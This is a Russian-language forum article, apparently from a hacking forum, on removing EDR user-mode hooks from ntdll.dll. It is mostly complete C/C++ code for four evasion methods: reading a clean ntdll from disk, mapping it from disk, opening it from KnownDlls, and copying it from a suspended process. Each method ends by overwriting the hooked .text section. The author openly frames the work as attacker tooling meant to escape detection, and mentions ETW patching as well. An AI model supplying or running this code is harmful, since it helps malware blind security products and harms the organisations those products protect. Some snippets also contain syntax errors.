Статья Познаем анхукинг ntdll.dll

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
840
Средства защиты, в частности EDR, любят ставить хуки. Хук — это специальная инструкция, которая позволяет перехватить поток управления программы при вызове определенной функции и в результате контролировать, отслеживать и изменять данные, переданные этой функции. В этой статье я покажу, как проводить обратный процесс — анхукинг.

Анхукинг позволяет снять хук, который был установлен средством защиты. Определить наличие хука несложно. Вот наглядный пример того, как он может выглядеть.
Пример хука

Здесь EDR поставил хук на NtAllocateVirtualMemory(). Эта функция будет последней в User Mode, она вызывается лишь для инициализации системного вызова и выделения памяти путем обращения к ядру. В стоковой конфигурации, когда хука нет, никаких безусловных jmp-переходов быть не должно. Тут мы видим иную ситуацию: переход как раз таки есть, поток управления отдается непонятно кому и непонятно куда. Поэтому нам как атакующим, да и просто чтобы уклониться от обнаружения, нужна операция анхукинга, которая снимет этот хук, и, как следствие, средство защиты потеряет контроль над потоком выполнения программы.

Отмечу лишь, что подобный способ обхода хуков — один из множества. Можно, например, совершать Direct- и Indirect-сисколы, но стоит помнить, что получится обойти только хуки, которые стоят в User Mode. Если средство защиты применяет хуки Kernel Mode (например, SSDT Hooking), то подобные методы окажутся бесполезны. На будущее: SSDT — это специальная таблица, благодаря которой сопоставляются сискол и действие ядра Windows. Есть, конечно, Kernel Patch Protection, который мешает устанавливать подобные хуки, но это уже совсем другая история.

В статье я рассмотрю наиболее популярные способы снятия хуков, от простого к сложному.

СНЯТИЕ ХУКА ЧЕРЕЗ ЧТЕНИЕ БИБЛИОТЕКИ С ДИСКА​

Этот метод можно считать одним из самых простых. Он основан на том, что библиотека ntdll.dll подгружается в память так же, как находится на диске. Причем хуки установлены непосредственно в памяти, на диске образ девственно чист. Поэтому мы должны будем лишь считать библиотеку с диска, достать из нее PE-секцию .text (в ней находится код), а после перезаписать секцию .text хукнутой библиотеки секцией, считанной с диска.
Алгоритм снятия хука

Мы будем использовать функции ReadFile() и MapViewOfFile(), и EDR может отслеживать их, поэтому есть риск, что наша ntdll.dll, загруженная с диска, будет изменена при попытке подгрузить ее содержимое в программу. Поэтому придется использовать иной способ снятия хука, например тащить ntdll.dll с некоего удаленного сервера. Этот алгоритм реализуем позже. За идею большое спасибо Ральфу.

Итак, сначала нужно считать содержимое библиотеки ntdll.dll. Начнем со стандартной функции ReadFile(). По умолчанию ntdll.dll лежит в системной папке \Windows\System32. Предлагаю создать функцию, которая будет возвращать буфер с содержимым ntdll.dll.
Код:
#define NTDLL "NTDLL.DLL"
BOOL ReadNtdllFromDisk(OUT PVOID* ppNtdllBuf) {
  CHAR cWinPath[MAX_PATH / 2] = { 0 };
  CHAR cNtdllPath[MAX_PATH] = { 0 };
  HANDLE hFile = NULL;
  DWORD dwNumberOfBytesRead = NULL, dwFileLen = NULL;
  PVOID pNtdllBuffer = NULL;
  if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
    printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());
    goto EndOfFunc;
  }
  sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);
  hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hFile == INVALID_HANDLE_VALUE) {
    printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());
    goto EndOfFunc;
  }
  dwFileLen = GetFileSize(hFile, NULL);
  pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);
  if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead) {
    printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
    printf("[i] Read %d of %d Bytes \n", dwNumberOfBytesRead, dwFileLen);
    goto EndOfFunc;
  }
  *ppNtdllBuf = pNtdllBuffer;
EndOfFunc:
  if (hFile)
    CloseHandle(hFile);
  if (*ppNtdllBuf == NULL)
    return FALSE;
  else
    return TRUE;
}
Остается проверить, что наш код верно работает. Если ты пишешь в Visual Studio, то открывай пункт «Отладка → Параметры» и ставь две галочки, чтобы можно было видеть содержимое памяти.

Включение показа содержимого памяти

После чего переходи по пути «Отладка → Окна → Память», и сможешь видеть содержимое памяти текущего отлаживаемого процесса.

Включение окошка отображения памяти

Остается лишь убедиться, что по адресу, который занесется в переменную ppNtdllBuf, лежат верные значения. Так как библиотека ntdll.dll — PE-файл, то первые байты должны быть равны MZ. Это так называемая сигнатура, благодаря которой можно убедиться, что мы получили правильный адрес.

Просмотр содержимого в памяти

Выходит, наша ntdll.dll успешно прочитана с диска. Можно также использовать и иной API — CreateFileMapping() и MapViewOfFile(). Эти функции служат для отображения файла в память. Разработчики часто применяют этот механизм, чтобы не писать каждый раз информацию на диск, теряя в производительности программы, а вместо этого записывать данные непосредственно в память и лишь потом, после нескольких записей подряд, сохранять их на диск. Функция для получения содержимого ntdll.dll будет немногим отличаться от предыдущей.
Код:
#define NTDLL "NTDLL.DLL"
BOOL MapNtdllFromDisk(OUT PVOID* ppNtdllBuf) {
    HANDLE  hFile = NULL,
        hSection = NULL;
    CHAR    cWinPath[MAX_PATH / 2] = { 0 };
    CHAR    cNtdllPath[MAX_PATH] = { 0 };
    PBYTE   pNtdllBuffer = NULL;
    if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
        printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }
    sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);
    hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }
    hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);
    if (hSection == NULL) {
        printf("[!] CreateFileMappingA Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }
    pNtdllBuffer = (PBYTE)MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
    if (pNtdllBuffer == NULL) {
        printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }
    *ppNtdllBuf = pNtdllBuffer;
_EndOfFunc:
    if (hFile)
        CloseHandle(hFile);
    if (hSection)
        CloseHandle(hSection);
    if (*ppNtdllBuf == NULL)
        return FALSE;
    else
        return TRUE;
}
Возможно, этот метод будет даже чуть более тихим, так как при таком маппинге не срабатывает колбэк PsSetLoadImageNotifyRoutine, который может быть установлен антивирусным ПО. По крайней мере, так написано на MSDN.

img06.png

Следующий шаг — получить адрес хукнутой ntdll.dll. Она уже находится в адресном пространстве нашего процесса. Предлагаю получить ее адрес из PEB. PEB — специальная структура данных, которая содержит информацию о текущем процессе.
Код:
typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;
} PEB, *PPEB;
Внутри этой структуры есть элемент Ldr, представляющий собой другую структуру, PEB_LDR_DATA.
Код:
typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
Внутри PEB_LDR_DATA — еще одна структура (это предпоследняя матрешка, честно). Называется она LIST_ENTRY.
Код:
typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
LIST_ENTRY можно считать этаким двусвязным списком. Через элемент Flink можно получить доступ к следующему элементу двусвязного списка, а через элемент Blink — к предыдущему. Каждый элемент этого двусвязного списка представлен структурой LDR_TABLE_ENTRY, которая содержит информацию о каждой DLL-библиотеке, загруженной в процесс.
Код:
typedef struct _LDR_DATA_TABLE_ENTRY {
    PVOID Reserved1[2];
    LIST_ENTRY InMemoryOrderLinks;
    PVOID Reserved2[2];
    PVOID DllBase;
    PVOID EntryPoint;
    PVOID Reserved3;
    UNICODE_STRING FullDllName;
    BYTE Reserved4[8];
    PVOID Reserved5[3];
    union {
        ULONG CheckSum;
        PVOID Reserved6;
    };
    ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
Больше всего нас интересуют элементы DllBase и FullDllName, у которых внутри базовый адрес загрузки библиотеки и ее имя соответственно. Поэтому предлагаю пробежаться по этому списку, обнаружить элемент, у которого FullDllName равно C:\Windows\\System32\ntdll.dll, и вычленить его DllBase.
Код:
#include <winternl.h>
#include <algorithm>
#include <string>
...
PVOID FetchLocalNtdllBaseAddress() {
    // Достаем TEB (это как PEB, только для потока)
    PTEB teb = static_cast<PTEB>(NtCurrentTeb());
    // ИЗ TEB получаем PEB
    PPEB peb = teb->ProcessEnvironmentBlock;
    // Голова списка — верхний элемент. Просто по нему будем отслеживать, пробежались ли мы по всему списку или нет
    PLIST_ENTRY listHead = &peb->Ldr->InMemoryOrderModuleList;
    // Следующий за головой элемент
    PLIST_ENTRY listEntry = listHead->Flink;
    ULONG addr = 0X0;
    while (listEntry != listHead)
    {
        PLDR_DATA_TABLE_ENTRY ldrEntry = CONTAINING_RECORD(listEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        std::wstring dllName = ldrEntry->FullDllName.Buffer;
        std::transform(dllName.begin(), dllName.end(), dllName.begin(), ::tolower);
        if (dllName.find(L"c:\\windows\\system32\\ntdll.dll") != std::wstring::npos) {
            return ldrEntry->DllBase;
        }
        listEntry = listEntry->Flink;
    }
    return (PVOID)addr;
}
Успешное получение адреса хукнутой библиотеки

Осталось всего ничего — вычленяем адреса секций .text и заменяем одну секцию другой! Причем опять есть два варианта получения этой секции. Можем пойти через Optional Header (IMAGE_OPTIONAL_HEADER), внутри которого содержится RVA-адрес секции .text, элемент BaseOfCode, либо через IMAGE_SECTION_HEADER, пытаясь обнаружить секцию с именем .text.
Код:
PIMAGE_DOS_HEADER   pLocalDosHdr    = (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
    return FALSE;
PIMAGE_NT_HEADERS   pLocalNtHdrs    = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
    return FALSE;
PVOID   pLocalNtdllTxt  = (PVOID)(pLocalNtHdrs->OptionalHeader.BaseOfCode + (ULONG_PTR)pLocalNtdll);
SIZE_T  sNtdllTxtSize   = pLocalNtHdrs->OptionalHeader.SizeOfCode;
  • pLocalNtdll — базовый адрес ntdll.dll, полученный ранее;
  • pLocalNtdllTxt — адрес секции .text;
  • sNtdllTxtSize — размер секции.
Код:
    PVOID pLocalNtdll = FetchLocalNtdllBaseAddress();
    PIMAGE_DOS_HEADER   pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
    if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return FALSE;
    PIMAGE_NT_HEADERS   pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
    if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return FALSE;
    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
    for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
        if( strcmp(pSectionHeader[i]->Name, ".text") == 0) ) {
            PVOID pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
            SIZE_T sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
            break;
        }
    }
Причем во втором варианте мы могли бы избежать использования функции strcmp следующим условием:
Код:
if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
Сначала выражение *(ULONG*) приводит к тому, что имя .text преобразуется в xet. , так как младший байт будет прочитан первым и помещен в старшую позицию значения ULONG, а самый старший байт будет прочитан последним и помещен последним. Далее выполняется побитовое ИЛИ для выравнивания полученного значения по 32-битной границе. И наконец, происходит сравнение.

Остается лишь перезаписать одну секцию .text другой. Для этого можно использовать стандартный memcpy(). Предлагаю также свести в отдельную функцию, которой достаточно лишь передачи базового адреса нехукнутой ntdll.
Код:
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll /*адрес нехукнутой ntdll в памяти*/) {
    // Базовый адрес загрузки хукнутой ntdll.dll
    PVOID pLocalNtdll;
    pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
    // Получаем заголовок dos
    PIMAGE_DOS_HEADER   pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
    if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return FALSE;
    PIMAGE_NT_HEADERS   pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
    if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return FALSE;
    PVOID       pLocalNtdllTxt = NULL,  // Адрес секции .text хукнутой либы
        pRemoteNtdllTxt = NULL; // Адрес секции .text анхукнутой либы
    SIZE_T      sNtdllTxtSize = NULL; // Размер секции .text
    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
    for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
        //  if( strcmp(pSectionHeader[i].Name, ".text") == 0 )
        if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
            // Получаем адрес секции .text хукнутой ntdll.dll
            pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
#ifdef MAP_NTDLL
            pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
#endif
#ifdef READ_NTDLL
            pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + 1024);
            if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
                pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt + 3072);
                if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
                    return FALSE;
            }
#endif
            sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
            break;
        }
    }
    if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
        return FALSE;
    DWORD dwOldProtection = NULL;
    if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
        printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());
        return FALSE;
    }
    memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
    if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
        printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
        return FALSE;
    }
    return TRUE;
}
Думаю, у тебя появились вопросы по поводу следующего участка кода:
Код:
        if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
            // Получаем адрес секции .text хукнутой ntdll.dll
            pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
#ifdef MAP_NTDLL
            pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
#endif
#ifdef READ_NTDLL
            pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + 1024);
            if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
                pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt + 3072);
                if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
                    return FALSE;
            }
#endif
            sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
            break;
        }
    }
Смещение секции .text различается в зависимости от того, каким образом мы считываем ntdll.dll с диска. Если мы считываем ее через CreateFileMapping(), то смещение всегда будет таким:
Код:
pSectionHeader[i].VirtualAddress
Если же считывать через ReadFile(), то иногда выйдет 1024, а иногда 4096. Найти закономерности не получилось, поэтому сначала мы добавляем смещение 1024, проверяем, соответствуют ли байты по этому адресу байтам оригинальной, хукнутой ntdll. Если не соответствуют, значит, оффсет 4096, но мы уже прибавили 1024, поэтому добавляем 3072. И вновь проводим проверку.

В результате чего мы сможем без проблем заменить одну библиотеку другой, что позволит снять хук. Полный код — в моем репозитории. Есть похожая реализация TheD1rkMtr, он добавил еще и патч от ETW.

СНЯТИЕ ХУКА ЧЕРЕЗ KNOWNDLLS​

KnownDlls — специальный раздел в реестре, где содержатся DLL, которые загрузчик Windows использует для оптимизации процесса загрузки приложений. В Windows XP и более ранних версиях каталог KnownDlls располагался в папке C:\Windows\System32. В более новых версиях Windows этот каталог встроен в ОС, поэтому прямого доступа к нему нет. Список всех «известных» DLL можно найти вот в этом разделе реестра:
Код:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
Извлечь библиотеку возможно с помощью функции NtOpenSection(), по неизвестным причинам использование OpenFileMapping() приводит к ошибке ERROR_BAD_PATHNAME. Прототип у функции следующий.
Код:
NTSTATUS NtOpenSection(
  OUT PHANDLE             SectionHandle,
  IN  ACCESS_MASK         DesiredAccess,
  IN  POBJECT_ATTRIBUTES  ObjectAttributes
);
Обрати внимание на последний параметр — ObjectAttributes. Его нужно инициализировать с помощью функции InitializeObjectAttributes().
Код:
VOID InitializeObjectAttributes(
  [out]          POBJECT_ATTRIBUTES   p,
  [in]           PUNICODE_STRING      n,
  [in]           ULONG                a,
  [in]           HANDLE               r,  // NULL
  [in, optional] PSECURITY_DESCRIPTOR s   // NULL
);
  • p — указатель на структуру OBJECT_ATTRIBUTES;
  • n — указатель на структуру UNICODE_STRING, которая будет содержать имя ntdll.dll из KnownDll;
  • s — устанавливаем значение в OBJ_CASE_INSENSITIVE.
Код:
UNICODE_STRING.Buffer = (PWSTR)L"\KnownDlls\ntdll.dll";
UNICODE_STRING.Length = wcslen(L"\KnownDlls\ntdll.dll") * sizeof(WCHAR);
UNICODE_STRING.MaximumLength = UniStr.Length + sizeof(WCHAR);
Теперь мы сможем без проблем передать инициализированный объект в функцию NtOpenSection(), а затем отразить ntdll.dll на адресное пространство текущего процесса через ранее описанный MapViewOfFile(). Предлагаю вновь свести всё до функции, возвращающей адрес, по которому библиотека спроецирована в память.
Код:
#include <winternl.h>
#define NTDLL   L"\\KnownDlls\\ntdll.dll"
typedef NTSTATUS (NTAPI* fnNtOpenSection)(
PHANDLE               SectionHandle,
ACCESS_MASK           DesiredAccess,
POBJECT_ATTRIBUTES    ObjectAttributes
);
BOOL MapNtdllFromKnownDlls(OUT PVOID* ppNtdllBuf) {
    HANDLE              hSection = NULL;
    PBYTE               pNtdllBuffer = NULL;
    NTSTATUS                STATUS = NULL;
    UNICODE_STRING          UniStr = { 0 };
    OBJECT_ATTRIBUTES   ObjAtr = { 0 };
    UniStr.Buffer = (PWSTR)NTDLL;
    UniStr.Length = wcslen(NTDLL) * sizeof(WCHAR);
    UniStr.MaximumLength = UniStr.Length + sizeof(WCHAR);
    InitializeObjectAttributes(&ObjAtr, &UniStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
    fnNtOpenSection pNtOpenSection = (fnNtOpenSection)GetProcAddress(GetModuleHandle(L"NTDLL"), "NtOpenSection");
    STATUS = pNtOpenSection(&hSection, SECTION_MAP_READ, &ObjAtr);
    if (STATUS != 0x00) {
        printf("[!] NtOpenSection Failed With Error : 0x%0.8X \n", STATUS);
        goto _EndOfFunc;
    }
    pNtdllBuffer = (PBYTE)MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
    if (pNtdllBuffer == NULL) {
        printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }
    *ppNtdllBuf = pNtdllBuffer;
_EndOfFunc:
    if (hSection)
        CloseHandle(hSection);
    if (*ppNtdllBuf == NULL)
        return FALSE;
    else
        return TRUE;
}
После получения адреса проверяем, что там действительно находится наша библиотека.

Проецирование через MapViewOfFile + NtOpenSection

Остается лишь так же грамотно распарсить PE и заменить одну секцию .text другой. Здесь все проще, чем при чтении с диска. Всегда будет одинаковое смещение, равное 4096.
Код:
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
    PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
    PIMAGE_DOS_HEADER   pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
    if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return FALSE;
    PIMAGE_NT_HEADERS   pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
    if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return FALSE;
    PVOID       pLocalNtdllTxt = NULL,
        pRemoteNtdllTxt = NULL;
    SIZE_T      sNtdllTxtSize = NULL;
    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
    for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
        // if( strcmp(pSectionHeader[i].Name, ".text") == 0 )
        if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
            pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
            pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
            sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
            break;
        }
    }
    if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
        return FALSE;
    if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
        return FALSE;
    DWORD dwOldProtection = NULL;
    if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
        printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());
        return FALSE;
    }
    memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
    if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
        printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
        return FALSE;
    }
    return TRUE;
}
Код буквально скопирован из предыдущей части статьи. Разве что теперь оффсет всегда один и тот же. Для чистоты эксперимента можем проверить, что действительно копируется одна секция .text на другую.

Что хранится по адресу pLocalNtdllTxt
Что хранится по адресу pRemoteNtdllTxt

Полный код я выложил на GitHub. И опять же у нашего друга TheD1rkMtr есть своя реализация этого метода.

Здесь есть одна особенность, о которой важно знать: ты должен использовать 64-битную программу на 64-битной системе. Если запускать программу для х86 на системе x86-64, то в процессе будет находиться ntdll.dll для х86, а из KnownDll прилетит DLL для x86-64, что при перезаписи приведет к крашу.

x86 ntdll в программе для x86
А мы пытаемся подменить на x86-64


СНЯТИЕ ХУКА ЧЕРЕЗ ПРИОСТАНОВЛЕННЫЙ ПРОЦЕСС​

Любой процесс в Windows можно запустить в приостановленном состоянии. Для этого достаточно передать в функцию CreateProcess() флаг CREATE_SUSPENDED либо DEBUG_PROCESS. Причем в таком состоянии в процесс будет подгружена только ntdll.dll.

Одна библиотека

Затем, возобновляя основной поток процесса, например через ResumeThread(), подтягиваем в него оставшиеся библиотеки.

Подключение недостающих библиотек

Ты можешь проверить это самостоятельно с помощью простого кода.
Код:
#include <windows.h>
#include <iostream>
int main() {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    if (!CreateProcess(L"C:\\Windows\\System32\\notepad.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &si,
        &pi)
        ) {
        std::cerr << "CreateProcess failed (" << GetLastError() << ").\n";
        return -1;
    }
    std::cout << "The process is created in suspended state.\n";
    getchar();
    if (ResumeThread(pi.hThread) == -1) {
        std::cerr << "ResumeThread failed (" << GetLastError() << ").\n";
        return -1;
    }
    getchar();
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 0;
}
В библиотеке ntdll.dll, которая находится в приостановленном процессе, могут отсутствовать хуки по той причине, что оставшиеся DLL, в том числе антивирусные, банально не подгрузились. Конечно, такое поведение встречается все реже и реже, но о нем не стоит забывать совсем.

Поэтому остается лишь получить базовый адрес загрузки этой ntdll.dll, достать его, а затем скопировать секцию .text на ntdll.dll своего процесса. Единственная загвоздка — для копирования секции .text требуется знать ее размер. Достать, конечно же, можно и через парсинг PE. Предлагаю свести всё до отдельной функции, которой нужно передать базовый адрес библиотеки, а она вернет ее размер.
Код:
SIZE_T GetNtdllSizeFromBaseAddress(IN PBYTE pNtdllModule) {
    PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
    if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return NULL;
    PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return NULL;
    return pImgNtHdrs->OptionalHeader.SizeOfImage;
}
Остается всего ничего — прочитать память процесса, который мы запустили в приостановленном состоянии. Опять же реализуем отдельную функцию, которая вернет адрес ntdll.dll.
Код:
BOOL ReadNtdllFromASuspendedProcess(IN LPCSTR lpProcessName, OUT PVOID* ppNtdllBuf) {
    CHAR    cWinPath[MAX_PATH / 2] = { 0 };
    CHAR    cProcessPath[MAX_PATH] = { 0 };
    PVOID   pNtdllModule = FetchLocalNtdllBaseAddress();
    PBYTE   pNtdllBuffer = NULL;
    SIZE_T  sNtdllSize = NULL,
        sNumberOfBytesRead = NULL;
    STARTUPINFOA                    Si = { 0 };
    PROCESS_INFORMATION            Pi = { 0 };
    RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
    RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
    Si.cb = sizeof(STARTUPINFO);
    if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
        printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }
    sprintf_s(cProcessPath, sizeof(cProcessPath), "%s\\System32\\%s", cWinPath, lpProcessName);
    if (!CreateProcessA(
        NULL,
        cProcessPath,
        NULL,
        NULL,
        FALSE,
        DEBUG_PROCESS,
        NULL,
        NULL,
        &Si,
        &Pi)) {
        printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }
    sNtdllSize = GetNtdllSizeFromBaseAddress((PBYTE)pNtdllModule);
    if (!sNtdllSize)
        goto _EndOfFunc;
    pNtdllBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sNtdllSize);
    if (!pNtdllBuffer)
        goto _EndOfFunc;
    if (!ReadProcessMemory(Pi.hProcess, pNtdllModule, pNtdllBuffer, sNtdllSize, &sNumberOfBytesRead) || sNumberOfBytesRead != sNtdllSize) {
        printf("[!] ReadProcessMemory Failed with Error : %d \n", GetLastError());
        printf("[i] Read %d of %d Bytes \n", sNumberOfBytesRead, sNtdllSize);
        goto _EndOfFunc;
    }
    *ppNtdllBuf = pNtdllBuffer;
    if (DebugActiveProcessStop(Pi.dwProcessId) && TerminateProcess(Pi.hProcess, 0)) {
        // Дополнительно здесь можно дернуть TerminateProcess()
    }
_EndOfFunc:
    if (Pi.hProcess)
        CloseHandle(Pi.hProcess);
    if (Pi.hThread)
        CloseHandle(Pi.hThread);
    if (*ppNtdllBuf == NULL)
        return FALSE;
    else
        return TRUE;
}
Оффсет в таком случае будет стандартный — 4096.

Проверка корректности чтения

Как всегда, на GitHub можешь посмотреть исходники моей реализации и реализации TheD1rkMtr.


СНЯТИЕ ХУКА ЧЕРЕЗ ПОДГРУЗКУ NTDLL.DLL С УДАЛЕННОГО ВЕБ-СЕРВЕРА​

Думаю, это самый интересный способ. Он основан на том, что есть прекрасный сайт winbindex.m417z.com, где приведены ссылки на ntdll.dll практически для любой версии Windows.

Сайт с ntdll.dll

